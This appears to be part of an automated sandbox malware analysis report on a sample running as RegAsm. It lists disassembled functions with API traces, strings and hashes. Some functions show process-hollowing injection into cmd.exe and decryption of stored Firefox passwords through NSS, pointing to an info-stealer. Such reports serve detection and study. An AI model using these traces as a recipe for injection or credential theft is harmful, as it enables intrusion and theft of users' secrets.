Instruction Fuzzy Hash: B00213B5B043458BE7089F35D88577B7AB66BC5708F14853CEC5A87B00EB74E9468B82

Function 00415AD4 Relevance: 26.4, APIs: 13, Strings: 2, Instructions: 179stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F,?,?,?), ref: 00415AF9
HeapAlloc.KERNEL32(00000000), ref: 00415B00
wsprintfA.USER32 ref: 00415B19
FindFirstFileA.KERNEL32(?,?), ref: 00415B30
StrCmpCA.SHLWAPI(?,00436A90), ref: 00415B51
StrCmpCA.SHLWAPI(?,00436A94), ref: 00415B6B
wsprintfA.USER32 ref: 00415B92

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 00411C4A: GetSystemTime.KERNEL32(?,004366FB,?), ref: 00411C79

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

Part of subcall function 004157D6: _memset.LIBCMT ref: 0041580E
Part of subcall function 004157D6: _memset.LIBCMT ref: 0041581F
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,00000000,?,?,?,?,?,?), ref: 0041584A
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 00415868
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?,?), ref: 0041587C
Part of subcall function 004157D6: lstrcatA.KERNEL32(?,?,?,?,?,?,?), ref: 0041588F
Part of subcall function 004157D6: StrStrA.SHLWAPI(00000000), ref: 00415933

FindNextFileA.KERNEL32(?,?), ref: 00415CA1
FindClose.KERNEL32(?), ref: 00415CB5
lstrcatA.KERNEL32(?), ref: 00415CE3
lstrcatA.KERNEL32(?), ref: 00415CF6
lstrlenA.KERNEL32(?), ref: 00415D02
lstrlenA.KERNEL32(?), ref: 00415D1F

Strings

%s\%s, xrefs: 00415B8C
%s\*, xrefs: 00415B13

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$Findlstrlen$FileHeap_memsetwsprintf$AllocCloseFirstNextProcessSystemTime
String ID: %s\%s$%s\*
API String ID: 2347508687-2848263008
Opcode ID: 5fce76a7b6451d1c2dcc6da36151b81ccc9742cab7e17c5f73f4a3ececc35bae
Instruction ID: f1edd606a7142868c12854d8a5fcf35de759865f5552cccb95c30be1a86df6f2
Opcode Fuzzy Hash: 5fce76a7b6451d1c2dcc6da36151b81ccc9742cab7e17c5f73f4a3ececc35bae
Instruction Fuzzy Hash: 31714EB190022C9BDF20EF60DD49ACD77B9AF45305F0004EAA609A3151EB7AAFC5CF59

Function 0041C43C Relevance: 24.9, APIs: 13, Strings: 1, Instructions: 440COMMON

Download Yara Rule

Strings

UT, xrefs: 0041C767

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID:
String ID: UT
API String ID: 0-894488996
Opcode ID: a7d05ec4342e7f626d486cd3ad54bc328d5b64d12a9baaccd0cef8f018a4e1f1
Instruction ID: f65dfca2b8ec6501c8e56a8e52f37e3595067880d2113cbf7b43c4e1cca993a9
Opcode Fuzzy Hash: a7d05ec4342e7f626d486cd3ad54bc328d5b64d12a9baaccd0cef8f018a4e1f1
Instruction Fuzzy Hash: 1E025BB19442688BDF21DF64CC807EEBBB5AF45304F1440EAD949AB242D6389EC5CF99

Function 0040F54A Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 130threadinjectionmemoryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040F57C
CreateProcessA.KERNEL32(C:\Windows\System32\cmd.exe,004365A7,00000000,00000000,00000001,00000004,00000000,00000000,?,?,00000000,00000000,00000000), ref: 0040F5A0
VirtualAlloc.KERNEL32(00000000,00000004,00001000,00000004), ref: 0040F5B2
GetThreadContext.KERNEL32(?,00000000), ref: 0040F5C4
ReadProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F5E2
VirtualAllocEx.KERNEL32(?,?,?,00003000,00000040), ref: 0040F5F8
ResumeThread.KERNEL32(?), ref: 0040F608
WriteProcessMemory.KERNEL32(?,00000000,*-A,?,00000000), ref: 0040F627
WriteProcessMemory.KERNEL32(?,?,?,?,00000000), ref: 0040F65D
WriteProcessMemory.KERNEL32(?,?,?,00000004,00000000), ref: 0040F684
SetThreadContext.KERNEL32(?,00000000), ref: 0040F696
ResumeThread.KERNEL32(?), ref: 0040F69F

Strings

*-A, xrefs: 0040F550, 0040F620
C:\Windows\System32\cmd.exe, xrefs: 0040F59B

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Process$MemoryThread$Write$AllocContextResumeVirtual$CreateRead_memset
String ID: *-A$C:\Windows\System32\cmd.exe
API String ID: 3621800378-2235875936
Opcode ID: d707304ec0540c2e10840670d6fdb08df447f6207f32fd81527c97c909703e2c
Instruction ID: 76902b962596da7efa99dadeb471d37ec2d144cbe5b0299f67ebe2db43022ee8
Opcode Fuzzy Hash: d707304ec0540c2e10840670d6fdb08df447f6207f32fd81527c97c909703e2c
Instruction Fuzzy Hash: 3E413872A00208AFEB11DFA8DC85FAAB7B9FF48705F144475FA01E6161E776AD448B24

Function 6C1EECC0 Relevance: 20.0, APIs: 8, Strings: 3, Instructions: 741COMMON

Download Yara Rule

APIs

_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1EED0A
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1EEE68
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6C1EEF87
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?,?), ref: 6C1EEF98

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C1EF483
database corruption, xrefs: 6C1EF48D
%s at line %d of [%.10s], xrefs: 6C1EF492

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: _byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 4101233201-598938438
Opcode ID: 0cd12664cafc3e68ba23cc2ff616fcfd4843f8c15dc2f57f22bb906ba23f2c1b
Instruction ID: 34856ef9e9baa50f406c6f1a6398545bb4fbae1e224ea9bea9109737c5f508a8
Opcode Fuzzy Hash: 0cd12664cafc3e68ba23cc2ff616fcfd4843f8c15dc2f57f22bb906ba23f2c1b
Instruction Fuzzy Hash: BB621430A04A45CFEB04CF24D48079ABBF2BF5D318F198199D865DBB92D735E986CB90

Function 6C16D4D0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D4F2
LeaveCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D50B

Part of subcall function 6C14CFE0: EnterCriticalSection.KERNEL32(6C1CE784), ref: 6C14CFF6
Part of subcall function 6C14CFE0: LeaveCriticalSection.KERNEL32(6C1CE784), ref: 6C14D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D52E
EnterCriticalSection.KERNEL32(6C1CE7DC), ref: 6C16D690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C16D6A6
LeaveCriticalSection.KERNEL32(6C1CE7DC), ref: 6C16D712
LeaveCriticalSection.KERNEL32(6C1CE784,?,?,?,?,?,?,?,00000000,75922FE0,00000001,?,6C17D1C5), ref: 6C16D751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6C16D7EA

Strings

g/, xrefs: 6C16C0F9, 6C16D4E2
<jemalloc>, xrefs: 6C16D827
: (malloc) Error initializing arena, xrefs: 6C16D82C

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: g/$: (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-2294911307
Opcode ID: 0a1ce9b1f1da326e9fbaa1573fbc630beab4b99a8008174ee7d2982df3b944bc
Instruction ID: ec7bc864aaba80ed8f76bb56dd8809ed95c4b6619cd6ff87179b60b8c0131ae7
Opcode Fuzzy Hash: 0a1ce9b1f1da326e9fbaa1573fbc630beab4b99a8008174ee7d2982df3b944bc
Instruction Fuzzy Hash: A891F371A047418FD714DF29C09072ABBE1EF99318F25892EE55AC7F80D738E965CB82

Function 6C2B6C00 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 190memorytimeCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6C261C6F,00000000,00000004,?,?), ref: 6C2B6C3F

Part of subcall function 6C30C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C30C2BF

PORT_ArenaAlloc_Util.NSS3(?,0000000D,?,?,00000000,00000000,00000000,?,6C261C6F,00000000,00000004,?,?), ref: 6C2B6C60
PR_ExplodeTime.NSS3(00000000,6C261C6F,?,?,?,?,?,00000000,00000000,00000000,?,6C261C6F,00000000,00000004,?,?), ref: 6C2B6C94

Strings

gfff, xrefs: 6C2B6D30
gfff, xrefs: 6C2B6CFD
gfff, xrefs: 6C2B6D66
gfff, xrefs: 6C2B6D9C
gfff, xrefs: 6C2B6CF5

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: Alloc_ArenaErrorExplodeTimeUtilValue
String ID: gfff$gfff$gfff$gfff$gfff
API String ID: 3534712800-180463219
Opcode ID: 39cd1ae78750df628d72b4ff3384c56e0b6cc0fd24016a4fade87244ffeda63d
Instruction ID: cb5a83b93f34bb92debdcfa611d04b28e0320a1820a0c213b6ddb6fb4f803300
Opcode Fuzzy Hash: 39cd1ae78750df628d72b4ff3384c56e0b6cc0fd24016a4fade87244ffeda63d
Instruction Fuzzy Hash: EB514C72B016494FC70CCDADDC927DAB7DAABA4310F48C23AE842DB785D638E906C751

Function 0040A7D8 Relevance: 15.1, APIs: 10, Instructions: 94stringencryptionCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0040A815
lstrlenA.KERNEL32(?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A830
CryptStringToBinaryA.CRYPT32(?,00000000,?,00000001,?,?,00000000), ref: 0040A838
PK11_GetInternalKeySlot.NSS3(?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A846
PK11_Authenticate.NSS3(00000000,00000001,00000000,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A85A
PK11SDR_Decrypt.NSS3(?,?,00000000,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A89A
_memmove.LIBCMT ref: 0040A8BB
lstrcatA.KERNEL32(004367FF,00436807,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8E5
PK11_FreeSlot.NSS3(00000000,?,?,?,?,?,?,?,?,?,0040B824), ref: 0040A8EC
lstrcatA.KERNEL32(004367FF,0043680A,?,00000000,?,00000001,?,?,00000000,00000000,00000000,00000000,00000014,?,0040AAE7), ref: 0040A8FB

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: K11_$Slotlstrcat$AuthenticateBinaryCryptDecryptFreeInternalString_memmove_memsetlstrlen
String ID:
API String ID: 4058207798-0
Opcode ID: 31c02de74a842dc5982266c19b354e3641ebd2f337bb717027e43e35191461e0
Instruction ID: c52c7911384acef37c1396ab2ed586562ee96a7842570c827785f6af41a5dd99
Opcode Fuzzy Hash: 31c02de74a842dc5982266c19b354e3641ebd2f337bb717027e43e35191461e0
Instruction Fuzzy Hash: 9A316FB1D0421AAFCB10DF54DD849FAB7BCAF08345F4040BAF409E2241EB794A459F66

Function 0040CD37 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 298filestringCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0040CD5C
FindFirstFileA.KERNEL32(?,?), ref: 0040CD73
StrCmpCA.SHLWAPI(?,004374E4), ref: 0040CD94
StrCmpCA.SHLWAPI(?,004374E8), ref: 0040CDAE

Part of subcall function 004104E7: lstrcpyA.KERNEL32(00000000,00000000,?,00417044,004366C7,?,?,?,?,00418558), ref: 0041050D

Part of subcall function 004105C7: lstrcpyA.KERNEL32(00000000,?,0000000C,004175B2,004366D6), ref: 004105F5
Part of subcall function 004105C7: lstrcatA.KERNEL32(?,?), ref: 004105FF

Part of subcall function 00410609: lstrlenA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 0041061D
Part of subcall function 00410609: lstrcpyA.KERNEL32(00000000,?,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410645
Part of subcall function 00410609: lstrcatA.KERNEL32(?,00000000,?,?,?,?,00417065,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 00410650

Part of subcall function 0041058D: lstrcpyA.KERNEL32(00000000,?,00000000,00417083,00436C10,00000000,004366C7,?,?,?,?,00418558), ref: 004105BD

lstrlenA.KERNEL32(0040D3B5,00436873,004374EC,?,0043686B), ref: 0040CE41

Part of subcall function 00410519: lstrcpyA.KERNEL32(00000000,?,?,00401D07,?,004175EA), ref: 00410538

Part of subcall function 00407FAC: CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,?,?,?,0040E756,?,?,?), ref: 00407FC7
Part of subcall function 00407FAC: GetFileSizeEx.KERNEL32(00000000,?,?,?,?,?,0040E756,?,?,?), ref: 00407FDE
Part of subcall function 00407FAC: LocalAlloc.KERNEL32(00000040,?,?,?,?,?,0040E756,?,?,?), ref: 00407FF5
Part of subcall function 00407FAC: ReadFile.KERNEL32(?,00000000,?,?,00000000,?,?,?,?,0040E756,?,?,?), ref: 0040800C
Part of subcall function 00407FAC: CloseHandle.KERNEL32(?,?,?,?,?,0040E756,?,?,?), ref: 00408034

Part of subcall function 00416E60: CreateThread.KERNEL32(00000000,00000000,00416D8F,?,00000000,00000000), ref: 00416EFF
Part of subcall function 00416E60: WaitForSingleObject.KERNEL32(00000000,000003E8), ref: 00416F07

FindNextFileA.KERNEL32(?,?), ref: 0040D23C
FindClose.KERNEL32(?), ref: 0040D250

Strings

%s\*.*, xrefs: 0040CD56

Memory Dump Source

Source File: 00000003.00000002.2982048751.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2982048751.0000000000463000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000467000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000046B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000055D000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000563000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000582000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.00000000005A1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.000000000063A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000003.00000002.2982048751.0000000000670000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$Find$CloseCreatelstrcatlstrlen$AllocFirstHandleLocalNextObjectReadSingleSizeThreadWaitwsprintf
String ID: %s\*.*
API String ID: 833390005-1013718255
Opcode ID: bbaa68f24ada2bab8b178e5c4d0dae1f171c0e89e1aa2bfb4e8da3e8ddf0e8e4
Instruction ID: f90bde7ebd5e73abaa7a8c474d568aa11f4251eb43bcf22c94b8c72ea498d248
Opcode Fuzzy Hash: bbaa68f24ada2bab8b178e5c4d0dae1f171c0e89e1aa2bfb4e8da3e8ddf0e8e4
Instruction Fuzzy Hash: 0BD1CB71A4112DAADF20FB25DD46ADD77B5AF44308F4100E6B908B3152DA78AFCA8F94

Function 6C192C10 Relevance: 14.2, APIs: 4, Strings: 4, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C192C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C192C61

Part of subcall function 6C144DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C144E5A
Part of subcall function 6C144DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C144E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C192C82
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C192E2D

Part of subcall function 6C1581B0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,00000000,?,ProfileBuffer parse error: %s,expected a ProfilerOverheadDuration entry after ProfilerOverheadTime), ref: 6C1581DE

Strings

g/, xrefs: 6C192C26, 6C192D08
expected a Time entry, xrefs: 6C192E36
ProfileBuffer parse error: %s, xrefs: 6C192E3B
(root), xrefs: 6C19354F

Memory Dump Source

Source File: 00000003.00000002.3347618666.000000006C141000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C140000, based on PE: true

Associated: 00000003.00000002.3345201274.000000006C140000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3353640079.000000006C1BD000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3355882897.000000006C1CE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000003.00000002.3358694329.000000006C1D2000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c140000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: g/$(root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-935438422
Opcode ID: 6e284aef7490fce1e07ad3a2c2a1c8ee75931b3fa4be0c4964f7352ff4094b95
Instruction ID: 81648a33d584966fd471b1133a3edc3f8b80d674278cead601784cdbf5688ad2
Opcode Fuzzy Hash: 6e284aef7490fce1e07ad3a2c2a1c8ee75931b3fa4be0c4964f7352ff4094b95
Instruction Fuzzy Hash: 8C91CFB06087808FD724CF24C49469EFBE1AF89358F50492DE59A9B760DB34D94ACB52

Function 6C378D20 Relevance: 12.7, APIs: 6, Strings: 1, Instructions: 471threadnetworkCOMMON

Download Yara Rule

APIs

PR_CallOnce.NSS3(6C3C14E4,6C32CC70), ref: 6C378D47
PR_GetCurrentThread.NSS3 ref: 6C378D98

Part of subcall function 6C250F00: PR_GetPageSize.NSS3(6C250936,FFFFE8AE,?,6C1E16B7,00000000,?,6C250936,00000000,?,6C1E204A), ref: 6C250F1B
Part of subcall function 6C250F00: PR_NewLogModule.NSS3(clock,6C250936,FFFFE8AE,?,6C1E16B7,00000000,?,6C250936,00000000,?,6C1E204A), ref: 6C250F25

PR_snprintf.NSS3(?,?,%u.%u.%u.%u,?,?,?,?), ref: 6C378E7B
htons.WSOCK32(?), ref: 6C378EDB
PR_GetCurrentThread.NSS3 ref: 6C378F99
PR_GetCurrentThread.NSS3 ref: 6C37910A

Strings

%u.%u.%u.%u, xrefs: 6C378E74

Memory Dump Source

Source File: 00000003.00000002.3361584161.000000006C1E1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C1E0000, based on PE: true

Associated: 00000003.00000002.3359794827.000000006C1E0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373086705.000000006C3BE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373112248.000000006C3BF000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373138120.000000006C3C0000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.3373163536.000000006C3C5000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c1e0000_RegAsm.jbxd

Similarity

API ID: CurrentThread$CallModuleOncePageR_snprintfSizehtons
String ID: %u.%u.%u.%u
API String ID: 1845059423-1542503432
Opcode ID: 9d923e6a03b6285c989bac4fe23d75d20ff3e1d73547878ebdbdd75581cb5197
Instruction ID: 0ec76d94cf0568f8787ef45ead03f29590a6b16c87a028b6c749e404b40dbf55
Opcode Fuzzy Hash: 9d923e6a03b6285c989bac4fe23d75d20ff3e1d73547878ebdbdd75581cb5197
Instruction Fuzzy Hash: 6202BB319053558FDB24CF1AC4583AABBB2EF42308F1A835AD8915FA91C33AD905CBF5

